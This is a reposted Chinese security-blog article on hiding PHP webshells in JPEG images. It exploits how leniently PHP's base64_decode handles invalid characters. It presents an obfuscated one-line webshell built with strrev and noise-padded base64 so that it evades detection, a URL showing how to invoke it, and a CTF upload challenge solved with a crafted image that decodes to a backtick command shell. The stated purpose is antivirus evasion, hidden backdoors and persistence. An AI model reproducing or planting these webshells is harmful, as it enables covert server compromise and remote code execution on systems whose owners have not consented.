骚姿势之图片马

admin 2022年9月16日00:41:23评论38 views字数 1967阅读6分33秒阅读模式

图片马

本文主要是基于jpg格式的图片型webshell的研究,即再正常图片中隐藏webshell代码,从而达到webshell免杀、实现隐藏后门与权限维持的目的。

从php的base64_decode说起

我们知道,再php的base64_decode中,会只对合法字符合并后解码,非法字符会直接丢弃,不参与整体的base64解码。

合法字符包括以下64个字符

  1. A-Za-z0-9/+

其中字母是26+26,数字是10,符号是3,合计为26+26+10+2=64,等于号是占位符,不是编码范围之内的字符

可以用以下代码做测试

  1. <?php

  2. echo base64_decode($_GET[1]);

  1. # 在php中base64解码函数是很强的,基本上咋写都可以解析

  2. # 除了个别规则以外

  3. 例如:

  4. 字符串: a

  5. base64: YQ==

  6. php_1:

  7. base64: ----Y|Q==

  8. 解码为: a

  9. 解码情况: 成功

  10. php_2:

  11. base64: ^Y-|]--[Q-=)=

  12. 解码为: a

  13. 解码情况: 成功

  14. php_3:

  15. base64: YQ=试=啊

  16. 解码为: a

  17. 解码情况: 成功

  18. php_4:

  19. base64: YQ==Yg==

  20. 解码为: 第⼀个YQ==成功解码,第⼆个YQ==会解析成乱码

  21. 解码情况: YQ==会解析为a, Yg==会解析为乱码, YQ==遇到=号了解析完毕以后后⾯的base64

  22. 会乱码


  23. 基础编码:

  24. 字符串: aaa!~~!aa123g

  25. base64: YWFhIX5+IWFhMTIzZw==

那么这个姿势在进⾏编写免杀⻢⼦的时候就特别适合了
因为这⼏个特性是php独有的,其他语⾔解码会乱码
例如写⼀个基础的⼀句话⽊⻢然后混淆

  1. ⽂件名: test.php

  2. <?php

  3. assert(get_defined_vars()['_GET'][1]);

  4. ?>

  5. 混淆

  6. <?php

  7. $base64_decode_str = 'edoced_46esab';

  8. $base64_decode = strrev($base64_decode_str);

  9. // get_defined_vars 的 base64

  10. $parameter_base64 = 'Z~2!!!V#0%X{2}R.l;Z,ml.u|Z-W^R……f*dmFycw==^^^^^^';

  11. $parameter = $base64_decode($parameter_base64);

  12. // assert 的 base64

  13. $assert_base64 = '<>-Y|X_N@z!ZX]J[0:.::::';

  14. $asser = $base64_decode($assert_base64);

  15. // 利⽤

  16. $asser($parameter()['_GET'][1]);

  17. ?>

  18. 利⽤⽅法: http://127.0.0.1/test.php?1=phpinfo();

开始讲图片马

附一段代码

  1. error_reporting(0);


  2. if(strlen($_FILES['file']['tmp_name'])>0){

  3. $filetype = $_FILES['file']['type'];

  4. $tmpname = $_FILES['file']['tmp_name'];

  5. $ef = getimagesize($tmpname);


  6. if( ($filetype=="image/jpeg") && ($ef!=false) && ($ef['mime']=='image/jpeg')){

  7. $content = base64_decode(file_get_contents($tmpname));

  8. file_put_contents("shell.php", $content);

  9. echo "file upload success!";

  10. }

  11. }else{

  12. highlight_file(__FILE__);

  13. }

这里严格限制了图片类型,不仅需要通过getimagesize校验,还要比对mime信息,最后还要进行base64的解码

这就要求我们构造一个可以正常使用的照片,只保留base64编码中的64种字符,图片信息不能存在可见字符,还不能破坏图片的结构

经过精心构造(ctfshow群主构造的图片tql),得到下面的图片

PD89YCRfR0VUWzFdYDs7Pz4C

base64_decode以后即达到目的

  1. <?=`$_GET[1]`;;?>

骚姿势之图片马

实际图片

  1. https://img-blog.csdnimg.cn/6cf18af3033c4a46b93068cde6d05abb.png

骚姿势之图片马

图片上传完成后由于

  1. $content = base64_decode(file_get_contents($tmpname));

  2. file_put_contents("shell.php", $content);

访问shell.php可成功rce

writed by:
xinyuan


原文始发于微信公众号(SkyMirror 穹镜):骚姿势之图片马

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月16日00:41:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   骚姿势之图片马http://cn-sec.com/archives/1297415.html

发表评论

匿名网友 填写信息